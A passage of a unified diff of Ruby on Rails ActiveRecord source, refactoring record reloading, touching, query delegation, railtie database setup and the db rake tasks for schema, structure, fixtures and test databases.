+ # is raised. Otherwise, in addition to the in-place modification the method
+ # returns +self+ for convenience.
+ #
+ # The optional <tt>:lock</tt> flag option allows you to lock the reloaded record:
+ #
+ # reload(lock: true) # reload with pessimistic locking
+ #
+ # Reloading is commonly used in test suites to test something is actually
+ # written to the database, or when some action modifies the corresponding
+ # row in the database but not the object in memory:
+ #
+ # assert account.deposit!(25)
+ # assert_equal 25, account.credit # check it is updated in memory
+ # assert_equal 25, account.reload.credit # check it is also persisted
+ #
+ # Another common use case is optimistic locking handling:
+ #
+ # def with_optimistic_retry
+ # begin
+ # yield
+ # rescue ActiveRecord::StaleObjectError
+ # begin
+ # # Reload lock_version in particular.
+ # reload
+ # rescue ActiveRecord::RecordNotFound
+ # # If the record is gone there is nothing to do.
+ # else
+ # retry
+ # end
+ # end
+ # end
+ #
def reload(options = nil)
clear_aggregation_cache
clear_association_cache
fresh_object =
if options && options[:lock]
- self.class.unscoped { self.class.lock.find(id) }
+ self.class.unscoped { self.class.lock(options[:lock]).find(id) }
else
self.class.unscoped { self.class.find(id) }
end
- @attributes.update(fresh_object.instance_variable_get('@attributes'))
- @columns_hash = fresh_object.instance_variable_get('@columns_hash')
-
- @attributes_cache = {}
+ @attributes = fresh_object.instance_variable_get('@attributes')
+ @new_record = false
self
end
# Saves the record with the updated_at/on attributes set to the current time.
- # Please note that no validation is performed and no callbacks are executed.
- # If an attribute name is passed, that attribute is updated along with
- # updated_at/on attributes.
+ # Please note that no validation is performed and only the +after_touch+,
+ # +after_commit+ and +after_rollback+ callbacks are executed.
+ #
+ # If attribute names are passed, they are updated along with updated_at/on
+ # attributes.
#
- # product.touch # updates updated_at/on
- # product.touch(:designed_at) # updates the designed_at attribute and updated_at/on
+ # product.touch # updates updated_at/on
+ # product.touch(:designed_at) # updates the designed_at attribute and updated_at/on
+ # product.touch(:started_at, :ended_at) # updates started_at, ended_at and updated_at/on attributes
#
- # If used along with +belongs_to+ then +touch+ will invoke +touch+ method on associated object.
+ # If used along with +belongs_to+ then +touch+ will invoke +touch+ method on
+ # associated object.
#
# class Brake < ActiveRecord::Base
# belongs_to :car, touch: true
@@ -361,9 +444,18 @@ module ActiveRecord
#
# # triggers @brake.car.touch and @brake.car.corporation.touch
# @brake.touch
- def touch(name = nil)
+ #
+ # Note that +touch+ must be used on a persisted object, or else an
+ # ActiveRecordError will be thrown. For example:
+ #
+ # ball = Ball.new
+ # ball.touch(:updated_at) # => raises ActiveRecordError
+ #
+ def touch(*names)
+ raise ActiveRecordError, "cannot touch on a new record object" unless persisted?
+
attributes = timestamp_attributes_for_update_in_model
- attributes << name if name
+ attributes.concat(names)
unless attributes.empty?
current_time = current_time_from_proper_timezone
@@ -376,9 +468,11 @@ module ActiveRecord
changes[self.class.locking_column] = increment_lock if locking_enabled?
- @changed_attributes.except!(*changes.keys)
+ clear_attribute_changes(changes.keys)
primary_key = self.class.primary_key
self.class.unscoped.where(primary_key => self[primary_key]).update_all(changes) == 1
+ else
+ true
end
end
@@ -395,7 +489,7 @@ module ActiveRecord
def relation_for_destroy
pk = self.class.primary_key
column = self.class.columns_hash[pk]
- substitute = connection.substitute_at(column, 0)
+ substitute = self.class.connection.substitute_at(column)
relation = self.class.unscoped.where(
self.class.arel_table[pk].eq(substitute))
@@ -405,28 +499,25 @@ module ActiveRecord
end
def create_or_update
- raise ReadOnlyRecord if readonly?
- result = new_record? ? create : update
+ raise ReadOnlyRecord, "#{self.class} is marked as readonly" if readonly?
+ result = new_record? ? _create_record : _update_record
result != false
end
# Updates the associated record with values matching those of the instance attributes.
# Returns the number of affected rows.
- def update(attribute_names = @attributes.keys)
- attributes_with_values = arel_attributes_with_values_for_update(attribute_names)
-
- if attributes_with_values.empty?
+ def _update_record(attribute_names = self.attribute_names)
+ attributes_values = arel_attributes_with_values_for_update(attribute_names)
+ if attributes_values.empty?
0
else
- klass = self.class
- stmt = klass.unscoped.where(klass.arel_table[klass.primary_key].eq(id)).arel.compile_update(attributes_with_values)
- klass.connection.update stmt
+ self.class.unscoped._update_record attributes_values, id, id_was
end
end
# Creates a record with values matching those of the instance attributes
# and returns its id.
- def create(attribute_names = @attributes.keys)
+ def _create_record(attribute_names = self.attribute_names)
attributes_values = arel_attributes_with_values_for_create(attribute_names)
new_id = self.class.unscoped.insert attributes_values
diff --git a/activerecord/lib/active_record/query_cache.rb b/activerecord/lib/active_record/query_cache.rb
index df8654e5c1..dcb2bd3d84 100644
--- a/activerecord/lib/active_record/query_cache.rb
+++ b/activerecord/lib/active_record/query_cache.rb
@@ -1,4 +1,3 @@
-
module ActiveRecord
# = Active Record Query Cache
class QueryCache
@@ -29,9 +28,10 @@ module ActiveRecord
end
def call(env)
- enabled = ActiveRecord::Base.connection.query_cache_enabled
+ connection = ActiveRecord::Base.connection
+ enabled = connection.query_cache_enabled
connection_id = ActiveRecord::Base.connection_id
- ActiveRecord::Base.connection.enable_query_cache!
+ connection.enable_query_cache!
response = @app.call(env)
response[2] = Rack::BodyProxy.new(response[2]) do
diff --git a/activerecord/lib/active_record/querying.rb b/activerecord/lib/active_record/querying.rb
index 5ddcaee6be..e8de4db3a7 100644
--- a/activerecord/lib/active_record/querying.rb
+++ b/activerecord/lib/active_record/querying.rb
@@ -1,21 +1,22 @@
-
module ActiveRecord
module Querying
- delegate :find, :take, :take!, :first, :first!, :last, :last!, :exists?, :any?, :many?, :to => :all
- delegate :first_or_create, :first_or_create!, :first_or_initialize, :to => :all
- delegate :find_or_create_by, :find_or_create_by!, :find_or_initialize_by, :to => :all
- delegate :find_by, :find_by!, :to => :all
- delegate :destroy, :destroy_all, :delete, :delete_all, :update, :update_all, :to => :all
- delegate :find_each, :find_in_batches, :to => :all
+ delegate :find, :take, :take!, :first, :first!, :last, :last!, :exists?, :any?, :many?, to: :all
+ delegate :second, :second!, :third, :third!, :fourth, :fourth!, :fifth, :fifth!, :forty_two, :forty_two!, to: :all
+ delegate :first_or_create, :first_or_create!, :first_or_initialize, to: :all
+ delegate :find_or_create_by, :find_or_create_by!, :find_or_initialize_by, to: :all
+ delegate :find_by, :find_by!, to: :all
+ delegate :destroy, :destroy_all, :delete, :delete_all, :update, :update_all, to: :all
+ delegate :find_each, :find_in_batches, to: :all
delegate :select, :group, :order, :except, :reorder, :limit, :offset, :joins,
- :where, :preload, :eager_load, :includes, :from, :lock, :readonly,
- :having, :create_with, :uniq, :references, :none, :to => :all
- delegate :count, :average, :minimum, :maximum, :sum, :calculate, :pluck, :ids, :to => :all
+ :where, :rewhere, :preload, :eager_load, :includes, :from, :lock, :readonly,
+ :having, :create_with, :uniq, :distinct, :references, :none, :unscope, to: :all
+ delegate :count, :average, :minimum, :maximum, :sum, :calculate, to: :all
+ delegate :pluck, :ids, to: :all
# Executes a custom SQL query against your database and returns all the results. The results will
# be returned as an array with columns requested encapsulated as attributes of the model you call
# this method from. If you call <tt>Product.find_by_sql</tt> then the results will be returned in
- # a Product object with the attributes you specified in the SQL query.
+ # a +Product+ object with the attributes you specified in the SQL query.
#
# If you call a complicated SQL query which spans multiple tables the columns specified by the
# SELECT will be attributes of the model, whether or not they are columns of the corresponding
@@ -30,20 +31,22 @@ module ActiveRecord
# Post.find_by_sql "SELECT p.title, c.author FROM posts p, comments c WHERE p.id = c.post_id"
# # => [#<Post:0x36bff9c @attributes={"title"=>"Ruby Meetup", "first_name"=>"Quentin"}>, ...]
#
- # # You can use the same string replacement techniques as you can with ActiveRecord#find
+ # You can use the same string replacement techniques as you can with <tt>ActiveRecord::QueryMethods#where</tt>:
+ #
# Post.find_by_sql ["SELECT title FROM posts WHERE author = ? AND created > ?", author_id, start_date]
- # # => [#<Post:0x36bff9c @attributes={"title"=>"The Cheap Man Buys Twice"}>, ...]
+ # Post.find_by_sql ["SELECT body FROM comments WHERE author = :user_id OR approved_by = :user_id", { :user_id => user_id }]
def find_by_sql(sql, binds = [])
- logging_query_plan do
- result_set = connection.select_all(sanitize_sql(sql), "#{name} Load", binds)
- column_types = {}
+ result_set = connection.select_all(sanitize_sql(sql), "#{name} Load", binds)
+ column_types = result_set.column_types.dup
+ columns_hash.each_key { |k| column_types.delete k }
+ message_bus = ActiveSupport::Notifications.instrumenter
- if result_set.respond_to? :column_types
- column_types = result_set.column_types
- else
- ActiveSupport::Deprecation.warn "the object returned from `select_all` must respond to `column_types`"
- end
+ payload = {
+ record_count: result_set.length,
+ class_name: name
+ }
+ message_bus.instrument('instantiation.active_record', payload) do
result_set.map { |record| instantiate(record, column_types) }
end
end
@@ -58,10 +61,8 @@ module ActiveRecord
#
# Product.count_by_sql "SELECT COUNT(*) FROM sales s, customers c WHERE s.customer_id = c.id"
def count_by_sql(sql)
- logging_query_plan do
- sql = sanitize_conditions(sql)
- connection.select_value(sql, "#{name} Count").to_i
- end
+ sql = sanitize_conditions(sql)
+ connection.select_value(sql, "#{name} Count").to_i
end
end
end
diff --git a/activerecord/lib/active_record/railtie.rb b/activerecord/lib/active_record/railtie.rb
index 1081b82bc6..f1bdbc845c 100644
--- a/activerecord/lib/active_record/railtie.rb
+++ b/activerecord/lib/active_record/railtie.rb
@@ -31,11 +31,23 @@ module ActiveRecord
config.active_record.use_schema_cache_dump = true
+ config.active_record.maintain_test_schema = true
config.eager_load_namespaces << ActiveRecord
rake_tasks do
- require "active_record/base"
+ namespace :db do
+ task :load_config do
+ ActiveRecord::Tasks::DatabaseTasks.database_configuration = Rails.application.config.database_configuration
+
+ if defined?(ENGINE_PATH) && engine = Rails::Engine.find(ENGINE_PATH)
+ if engine.paths['db/migrate'].existent
+ ActiveRecord::Tasks::DatabaseTasks.migrations_paths += engine.paths['db/migrate'].to_a
+ end
+ end
+ end
+ end
+
load "active_record/railties/databases.rake"
end
@@ -49,7 +61,7 @@ module ActiveRecord
Rails.logger.extend ActiveSupport::Logger.broadcast console
end
- runner do |app|
+ runner do
require "active_record/base"
end
@@ -64,7 +76,7 @@ module ActiveRecord
ActiveSupport.on_load(:active_record) { self.logger ||= ::Rails.logger }
end
- initializer "active_record.migration_error" do |app|
+ initializer "active_record.migration_error" do
if config.active_record.delete(:migration_error) == :page_load
config.app_middleware.insert_after "::ActionDispatch::Callbacks",
"ActiveRecord::Migration::CheckPending"
@@ -92,45 +104,6 @@ module ActiveRecord
initializer "active_record.set_configs" do |app|
ActiveSupport.on_load(:active_record) do
- begin
- old_behavior, ActiveSupport::Deprecation.behavior = ActiveSupport::Deprecation.behavior, :stderr
- whitelist_attributes = app.config.active_record.delete(:whitelist_attributes)
-
- if respond_to?(:mass_assignment_sanitizer=)
- mass_assignment_sanitizer = nil
- else
- mass_assignment_sanitizer = app.config.active_record.delete(:mass_assignment_sanitizer)
- end
-
- unless whitelist_attributes.nil? && mass_assignment_sanitizer.nil?
- ActiveSupport::Deprecation.warn <<-EOF.strip_heredoc, []
- Model based mass assignment security has been extracted
- out of Rails into a gem. Please use the new recommended protection model for
- params or add `protected_attributes` to your Gemfile to use the old one.
-
- To disable this message remove the `whitelist_attributes` option from your
- `config/application.rb` file and any `mass_assignment_sanitizer` options
- from your `config/environments/*.rb` files.
-
- See http://edgeguides.rubyonrails.org/security.html#mass-assignment for more information
- EOF
- end
-
- unless app.config.active_record.delete(:observers).nil?
- ActiveSupport::Deprecation.warn <<-EOF.strip_heredoc, []
- Active Record Observers has been extracted out of Rails into a gem.
- Please use callbacks or add `rails-observers` to your Gemfile to use observers.
-
- To disable this message remove the `observers` option from your
- `config/application.rb` or from your initializers.
-
- See http://edgeguides.rubyonrails.org/4_0_release_notes.html for more information
- EOF
- end
- ensure
- ActiveSupport::Deprecation.behavior = old_behavior
- end
-
app.config.active_record.each do |k,v|
send "#{k}=", v
end
@@ -141,22 +114,27 @@ module ActiveRecord
# and then establishes the connection.
initializer "active_record.initialize_database" do |app|
ActiveSupport.on_load(:active_record) do
- unless ENV['DATABASE_URL']
- self.configurations = app.config.database_configuration
- end
- establish_connection
- end
- end
+ self.configurations = Rails.application.config.database_configuration
- initializer "active_record.validate_explain_support" do |app|
- if app.config.active_record[:auto_explain_threshold_in_seconds] &&
- !ActiveRecord::Base.connection.supports_explain?
- warn "auto_explain_threshold_in_seconds is set but will be ignored because your adapter does not support this feature. Please unset the configuration to avoid this warning."
+ begin
+ establish_connection
+ rescue ActiveRecord::NoDatabaseError
+ warn <<-end_warning
+Oops - You have a database configured, but it doesn't exist yet!
+
+Here's how to get started:
+
+ 1. Configure your database in config/database.yml.
+ 2. Run `bin/rake db:create` to create the database.
+ 3. Run `bin/rake db:setup` to load your database schema.
+end_warning
+ raise
+ end
end
end
# Expose database runtime to controller for logging.
- initializer "active_record.log_runtime" do |app|
+ initializer "active_record.log_runtime" do
require "active_record/railties/controller_runtime"
ActiveSupport.on_load(:action_controller) do
include ActiveRecord::Railties::ControllerRuntime
diff --git a/activerecord/lib/active_record/railties/console_sandbox.rb b/activerecord/lib/active_record/railties/console_sandbox.rb
index 90b462fad6..604a220303 100644
--- a/activerecord/lib/active_record/railties/console_sandbox.rb
+++ b/activerecord/lib/active_record/railties/console_sandbox.rb
@@ -1,4 +1,5 @@
-ActiveRecord::Base.connection.begin_db_transaction
+ActiveRecord::Base.connection.begin_transaction(joinable: false)
+
at_exit do
- ActiveRecord::Base.connection.rollback_db_transaction
+ ActiveRecord::Base.connection.rollback_transaction
end
diff --git a/activerecord/lib/active_record/railties/controller_runtime.rb b/activerecord/lib/active_record/railties/controller_runtime.rb
index 7695eacbff..af4840476c 100644
--- a/activerecord/lib/active_record/railties/controller_runtime.rb
+++ b/activerecord/lib/active_record/railties/controller_runtime.rb
@@ -21,9 +21,10 @@ module ActiveRecord
def cleanup_view_runtime
if ActiveRecord::Base.connected?
db_rt_before_render = ActiveRecord::LogSubscriber.reset_runtime
+ self.db_runtime = (db_runtime || 0) + db_rt_before_render
runtime = super
db_rt_after_render = ActiveRecord::LogSubscriber.reset_runtime
- self.db_runtime = db_rt_before_render + db_rt_after_render
+ self.db_runtime += db_rt_after_render
runtime - db_rt_after_render
else
super
diff --git a/activerecord/lib/active_record/railties/databases.rake b/activerecord/lib/active_record/railties/databases.rake
index 0a9caa25b2..6c09456c4d 100644
--- a/activerecord/lib/active_record/railties/databases.rake
+++ b/activerecord/lib/active_record/railties/databases.rake
@@ -2,14 +2,8 @@ require 'active_record'
db_namespace = namespace :db do
task :load_config do
- ActiveRecord::Base.configurations = Rails.application.config.database_configuration
- ActiveRecord::Migrator.migrations_paths = Rails.application.paths['db/migrate'].to_a
-
- if defined?(ENGINE_PATH) && engine = Rails::Engine.find(ENGINE_PATH)
- if engine.paths['db/migrate'].existent
- ActiveRecord::Migrator.migrations_paths += engine.paths['db/migrate'].to_a
- end
- end
+ ActiveRecord::Base.configurations = ActiveRecord::Tasks::DatabaseTasks.database_configuration || {}
+ ActiveRecord::Migrator.migrations_paths = ActiveRecord::Tasks::DatabaseTasks.migrations_paths
end
namespace :create do
@@ -18,13 +12,9 @@ db_namespace = namespace :db do
end
end
- desc 'Create the database from DATABASE_URL or config/database.yml for the current Rails.env (use db:create:all to create all dbs in the config)'
+ desc 'Creates the database from DATABASE_URL or config/database.yml for the current RAILS_ENV (use db:create:all to create all databases in the config). Without RAILS_ENV it defaults to creating the development and test databases.'
task :create => [:load_config] do
- if ENV['DATABASE_URL']
- ActiveRecord::Tasks::DatabaseTasks.create_database_url
- else
- ActiveRecord::Tasks::DatabaseTasks.create_current
- end
+ ActiveRecord::Tasks::DatabaseTasks.create_current
end
namespace :drop do
@@ -33,22 +23,26 @@ db_namespace = namespace :db do
end
end
- desc 'Drops the database using DATABASE_URL or the current Rails.env (use db:drop:all to drop all databases)'
+ desc 'Drops the database from DATABASE_URL or config/database.yml for the current RAILS_ENV (use db:drop:all to drop all databases in the config). Without RAILS_ENV it defaults to dropping the development and test databases.'
task :drop => [:load_config] do
- if ENV['DATABASE_URL']
- ActiveRecord::Tasks::DatabaseTasks.drop_database_url
- else
- ActiveRecord::Tasks::DatabaseTasks.drop_current
+ ActiveRecord::Tasks::DatabaseTasks.drop_current
+ end
+
+ namespace :purge do
+ task :all => :load_config do
+ ActiveRecord::Tasks::DatabaseTasks.purge_all
end
end
+ # desc "Empty the database from DATABASE_URL or config/database.yml for the current RAILS_ENV (use db:drop:all to drop all databases in the config). Without RAILS_ENV it defaults to purging the development and test databases."
+ task :purge => [:load_config] do
+ ActiveRecord::Tasks::DatabaseTasks.purge_current
+ end
+
desc "Migrate the database (options: VERSION=x, VERBOSE=false, SCOPE=blog)."
task :migrate => [:environment, :load_config] do
- ActiveRecord::Migration.verbose = ENV["VERBOSE"] ? ENV["VERBOSE"] == "true" : true
- ActiveRecord::Migrator.migrate(ActiveRecord::Migrator.migrations_paths, ENV["VERSION"] ? ENV["VERSION"].to_i : nil) do |migration|
- ENV["SCOPE"].blank? || (ENV["SCOPE"] == migration.scope)
- end
- db_namespace['_dump'].invoke
+ ActiveRecord::Tasks::DatabaseTasks.migrate
+ db_namespace['_dump'].invoke if ActiveRecord::Base.dump_schema_after_migration
end
task :_dump do
@@ -89,29 +83,28 @@ db_namespace = namespace :db do
# desc 'Runs the "down" for a given migration VERSION.'
task :down => [:environment, :load_config] do
version = ENV['VERSION'] ? ENV['VERSION'].to_i : nil
- raise 'VERSION is required' unless version
+ raise 'VERSION is required - To go down one migration, run db:rollback' unless version
ActiveRecord::Migrator.run(:down, ActiveRecord::Migrator.migrations_paths, version)
db_namespace['_dump'].invoke
end
desc 'Display status of migrations'
task :status => [:environment, :load_config] do
- unless ActiveRecord::Base.connection.table_exists?(ActiveRecord::Migrator.schema_migrations_table_name)
- puts 'Schema migrations table does not exist yet.'
- next # means "return" for rake task
+ unless ActiveRecord::SchemaMigration.table_exists?
+ abort 'Schema migrations table does not exist yet.'
end
- db_list = ActiveRecord::Base.connection.select_values("SELECT version FROM #{ActiveRecord::Migrator.schema_migrations_table_name}")
- db_list.map! { |version| "%.3d" % version }
- file_list = []
- ActiveRecord::Migrator.migrations_paths.each do |path|
- Dir.foreach(path) do |file|
- # match "20091231235959_some_name.rb" and "001_some_name.rb" pattern
- if match_data = /^(\d{3,})_(.+)\.rb$/.match(file)
- status = db_list.delete(match_data[1]) ? 'up' : 'down'
- file_list << [status, match_data[1], match_data[2].humanize]
+ db_list = ActiveRecord::SchemaMigration.normalized_versions
+
+ file_list =
+ ActiveRecord::Migrator.migrations_paths.flat_map do |path|
+ # match "20091231235959_some_name.rb" and "001_some_name.rb" pattern
+ Dir.foreach(path).grep(/^(\d{3,})_(.+)\.rb$/) do
+ version = ActiveRecord::SchemaMigration.normalize_migration_number($1)
+ status = db_list.delete(version) ? 'up' : 'down'
+ [status, version, $2.humanize]
+ end
end
- end
- end
+
db_list.map! do |version|
['up', version, '********** NO FILE **********']
end
@@ -119,8 +112,8 @@ db_namespace = namespace :db do
puts "\ndatabase: #{ActiveRecord::Base.connection_config[:database]}\n\n"
puts "#{'Status'.center(8)} #{'Migration ID'.ljust(14)} Migration Name"
puts "-" * 50
- (db_list + file_list).sort_by {|migration| migration[1]}.each do |migration|
- puts "#{migration[0].center(8)} #{migration[1].ljust(14)} #{migration[2]}"
+ (db_list + file_list).sort_by { |_, version, _| version }.each do |status, version, name|
+ puts "#{status.center(8)} #{version.ljust(14)} #{name}"
end
puts
end
@@ -156,7 +149,7 @@ db_namespace = namespace :db do
begin
puts ActiveRecord::Tasks::DatabaseTasks.collation_current
rescue NoMethodError
- $stderr.puts 'Sorry, your database adapter is not supported yet, feel free to submit a patch'
+ $stderr.puts 'Sorry, your database adapter is not supported yet. Feel free to submit a patch.'
end
end
@@ -166,11 +159,11 @@ db_namespace = namespace :db do
end
# desc "Raises an error if there are pending migrations"
- task :abort_if_pending_migrations => [:environment, :load_config] do
- pending_migrations = ActiveRecord::Migrator.new(:up, ActiveRecord::Migrator.migrations_paths).pending_migrations
+ task :abort_if_pending_migrations => :environment do
+ pending_migrations = ActiveRecord::Migrator.open(ActiveRecord::Migrator.migrations_paths).pending_migrations
if pending_migrations.any?
- puts "You have #{pending_migrations.size} pending migrations:"
+ puts "You have #{pending_migrations.size} pending #{pending_migrations.size > 1 ? 'migrations:' : 'migration:'}"
pending_migrations.each do |pending_migration|
puts ' %4d %s' % [pending_migration.version, pending_migration.name]
end
@@ -178,13 +171,13 @@ db_namespace = namespace :db do
end
end
- desc 'Create the database, load the schema, and initialize with the seed data (use db:reset to also drop the db first)'
+ desc 'Create the database, load the schema, and initialize with the seed data (use db:reset to also drop the database first)'
task :setup => ['db:schema:load_if_ruby', 'db:structure:load_if_sql', :seed]
desc 'Load the seed data from db/seeds.rb'
task :seed do
db_namespace['abort_if_pending_migrations'].invoke
- Rails.application.load_seed
+ ActiveRecord::Tasks::DatabaseTasks.load_seed
end
namespace :fixtures do
@@ -192,12 +185,22 @@ db_namespace = namespace :db do
task :load => [:environment, :load_config] do
require 'active_record/fixtures'
- base_dir = File.join [Rails.root, ENV['FIXTURES_PATH'] || %w{test fixtures}].flatten
- fixtures_dir = File.join [base_dir, ENV['FIXTURES_DIR']].compact
+ base_dir = ActiveRecord::Tasks::DatabaseTasks.fixtures_path
- (ENV['FIXTURES'] ? ENV['FIXTURES'].split(/,/) : Dir["#{fixtures_dir}/**/*.yml"].map {|f| f[(fixtures_dir.size + 1)..-5] }).each do |fixture_file|
- ActiveRecord::FixtureSet.create_fixtures(fixtures_dir, fixture_file)
- end
+ fixtures_dir = if ENV['FIXTURES_DIR']
+ File.join base_dir, ENV['FIXTURES_DIR']
+ else
+ base_dir
+ end
+
+ fixture_files = if ENV['FIXTURES']
+ ENV['FIXTURES'].split(',')
+ else
+ # The use of String#[] here is to support namespaced fixtures
+ Dir["#{fixtures_dir}/**/*.yml"].map {|f| f[(fixtures_dir.size + 1)..-5] }
+ end
+
+ ActiveRecord::FixtureSet.create_fixtures(fixtures_dir, fixture_files)
end
# desc "Search for a fixture given a LABEL or ID. Specify an alternative path (eg. spec/fixtures) using FIXTURES_PATH=spec/fixtures."
@@ -209,10 +212,11 @@ db_namespace = namespace :db do
puts %Q(The fixture ID for "#{label}" is #{ActiveRecord::FixtureSet.identify(label)}.) if label
- base_dir = ENV['FIXTURES_PATH'] ? File.join(Rails.root, ENV['FIXTURES_PATH']) : File.join(Rails.root, 'test', 'fixtures')
+ base_dir = ActiveRecord::Tasks::DatabaseTasks.fixtures_path
+
Dir["#{base_dir}/**/*.yml"].each do |file|
if data = YAML::load(ERB.new(IO.read(file)).result)
- data.keys.each do |key|
+ data.each_key do |key|
key_id = ActiveRecord::FixtureSet.identify(key)
if key == label || key_id == id.to_i
@@ -225,10 +229,10 @@ db_namespace = namespace :db do
end
namespace :schema do
- desc 'Create a db/schema.rb file that can be portably used against any DB supported by AR'
+ desc 'Create a db/schema.rb file that is portable against any DB supported by AR'
task :dump => [:environment, :load_config] do
require 'active_record/schema_dumper'
- filename = ENV['SCHEMA'] || "#{Rails.root}/db/schema.rb"
+ filename = ENV['SCHEMA'] || File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, 'schema.rb')
File.open(filename, "w:utf-8") do |file|
ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, file)
end
@@ -237,12 +241,7 @@ db_namespace = namespace :db do
desc 'Load a schema.rb file into the database'
task :load => [:environment, :load_config] do
- file = ENV['SCHEMA'] || "#{Rails.root}/db/schema.rb"
- if File.exists?(file)
- load(file)
- else
- abort %{#{file} doesn't exist yet. Run `rake db:migrate` to create it then try again. If you do not intend to use a database, you should instead alter #{Rails.root}/config/application.rb to limit the frameworks that will be loaded}
- end
+ ActiveRecord::Tasks::DatabaseTasks.load_schema_current(:ruby, ENV['SCHEMA'])
end
task :load_if_ruby => ['db:create', :environment] do
@@ -253,7 +252,7 @@ db_namespace = namespace :db do
desc 'Create a db/schema_cache.dump file.'
task :dump => [:environment, :load_config] do
con = ActiveRecord::Base.connection
- filename = File.join(Rails.application.config.paths["db"].first, "schema_cache.dump")
+ filename = File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, "schema_cache.dump")
con.schema_cache.clear!
con.tables.each { |table| con.schema_cache.add(table) }
@@ -262,70 +261,33 @@ db_namespace = namespace :db do
desc 'Clear a db/schema_cache.dump file.'
task :clear => [:environment, :load_config] do
- filename = File.join(Rails.application.config.paths["db"].first, "schema_cache.dump")
- FileUtils.rm(filename) if File.exists?(filename)
+ filename = File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, "schema_cache.dump")
+ FileUtils.rm(filename) if File.exist?(filename)
end
end
end
namespace :structure do
- def set_firebird_env(config)
- ENV['ISC_USER'] = config['username'].to_s if config['username']
- ENV['ISC_PASSWORD'] = config['password'].to_s if config['password']
- end
-
- def firebird_db_string(config)
- FireRuby::Database.db_string_for(config.symbolize_keys)
- end
-
desc 'Dump the database structure to db/structure.sql. Specify another file with DB_STRUCTURE=db/my_structure.sql'
task :dump => [:environment, :load_config] do
- filename = ENV['DB_STRUCTURE'] || File.join(Rails.root, "db", "structure.sql")
+ filename = ENV['DB_STRUCTURE'] || File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, "structure.sql")
current_config = ActiveRecord::Tasks::DatabaseTasks.current_config
- case current_config['adapter']
- when /mysql/, /postgresql/, /sqlite/
- ActiveRecord::Tasks::DatabaseTasks.structure_dump(current_config, filename)
- when 'oci', 'oracle'
- ActiveRecord::Base.establish_connection(current_config)
- File.open(filename, "w:utf-8") { |f| f << ActiveRecord::Base.connection.structure_dump }
- when 'sqlserver'
- `smoscript -s #{current_config['host']} -d #{current_config['database']} -u #{current_config['username']} -p #{current_config['password']} -f #{filename} -A -U`
- when "firebird"
- set_firebird_env(current_config)
- db_string = firebird_db_string(current_config)
- sh "isql -a #{db_string} > #{filename}"
- else
- raise "Task not supported by '#{current_config["adapter"]}'"
- end
+ ActiveRecord::Tasks::DatabaseTasks.structure_dump(current_config, filename)
- if ActiveRecord::Base.connection.supports_migrations?
- File.open(filename, "a") { |f| f << ActiveRecord::Base.connection.dump_schema_information }
+ if ActiveRecord::Base.connection.supports_migrations? &&
+ ActiveRecord::SchemaMigration.table_exists?
+ File.open(filename, "a") do |f|
+ f.puts ActiveRecord::Base.connection.dump_schema_information
+ f.print "\n"
+ end
end
db_namespace['structure:dump'].reenable
end
- # desc "Recreate the databases from the structure.sql file"
+ desc "Recreate the databases from the structure.sql file"
task :load => [:environment, :load_config] do
- current_config = ActiveRecord::Tasks::DatabaseTasks.current_config
- filename = ENV['DB_STRUCTURE'] || File.join(Rails.root, "db", "structure.sql")
- case current_config['adapter']
- when /mysql/, /postgresql/, /sqlite/
- ActiveRecord::Tasks::DatabaseTasks.structure_load(current_config, filename)
- when 'sqlserver'
- `sqlcmd -S #{current_config['host']} -d #{current_config['database']} -U #{current_config['username']} -P #{current_config['password']} -i #{filename}`
- when 'oci', 'oracle'
- ActiveRecord::Base.establish_connection(current_config)
- IO.read(filename).split(";\n\n").each do |ddl|
- ActiveRecord::Base.connection.execute(ddl)
- end
- when 'firebird'
- set_firebird_env(current_config)
- db_string = firebird_db_string(current_config)
- sh "isql -i #{filename} #{db_string}"
- else
- raise "Task not supported by '#{current_config['adapter']}'"
- end
+ ActiveRecord::Tasks::DatabaseTasks.load_schema_current(:sql, ENV['DB_STRUCTURE'])
end
task :load_if_sql => ['db:create', :environment] do
@@ -335,8 +297,15 @@ db_namespace = namespace :db do
namespace :test do
+ task :deprecated do
+ Rake.application.top_level_tasks.grep(/^db:test:/).each do |task|
+ $stderr.puts "WARNING: #{task} is deprecated. The Rails test helper now maintains " \
+ "your test schema automatically, see the release notes for details."
+ end
+ end
+
# desc "Recreate the test database from the current schema"
- task :load => 'db:test:purge' do
+ task :load => %w(db:test:purge) do
case ActiveRecord::Base.schema_format
when :ruby
db_namespace["test:load_schema"].invoke
@@ -346,24 +315,25 @@ db_namespace = namespace :db do
end
# desc "Recreate the test database from an existent schema.rb file"
- task :load_schema => 'db:test:purge' do
- ActiveRecord::Base.establish_connection(ActiveRecord::Base.configurations['test'])
- ActiveRecord::Schema.verbose = false
- db_namespace["schema:load"].invoke
- end
-
- # desc "Recreate the test database from an existent structure.sql file"
- task :load_structure => 'db:test:purge' do
+ task :load_schema => %w(db:test:purge) do
begin
- ActiveRecord::Tasks::DatabaseTasks.current_config(:config => ActiveRecord::Base.configurations['test'])
- db_namespace["structure:load"].invoke
+ should_reconnect = ActiveRecord::Base.connection_pool.active_connection?
+ ActiveRecord::Schema.verbose = false
+ ActiveRecord::Tasks::DatabaseTasks.load_schema_for ActiveRecord::Base.configurations['test'], :ruby, ENV['SCHEMA']
ensure
- ActiveRecord::Tasks::DatabaseTasks.current_config(:config => nil)
+ if should_reconnect
+ ActiveRecord::Base.establish_connection(ActiveRecord::Base.configurations[ActiveRecord::Tasks::DatabaseTasks.env])
+ end
end
end
+ # desc "Recreate the test database from an existent structure.sql file"
+ task :load_structure => %w(db:test:purge) do
+ ActiveRecord::Tasks::DatabaseTasks.load_schema_for ActiveRecord::Base.configurations['test'], :sql, ENV['SCHEMA']
+ end
+
# desc "Recreate the test database from a fresh schema"
- task :clone do
+ task :clone => %w(db:test:deprecated environment) do
case ActiveRecord::Base.schema_format
when :ruby
db_namespace["test:clone_schema"].invoke
@@ -373,38 +343,18 @@ db_namespace = namespace :db do
end
# desc "Recreate the test database from a fresh schema.rb file"
- task :clone_schema => ["db:schema:dump", "db:test:load_schema"]
+ task :clone_schema => %w(db:test:deprecated db:schema:dump db:test:load_schema)
# desc "Recreate the test database from a fresh structure.sql file"
- task :clone_structure => [ "db:structure:dump", "db:test:load_structure" ]
+ task :clone_structure => %w(db:test:deprecated db:structure:dump db:test:load_structure)
# desc "Empty the test database"
- task :purge => [:environment, :load_config] do
- abcs = ActiveRecord::Base.configurations
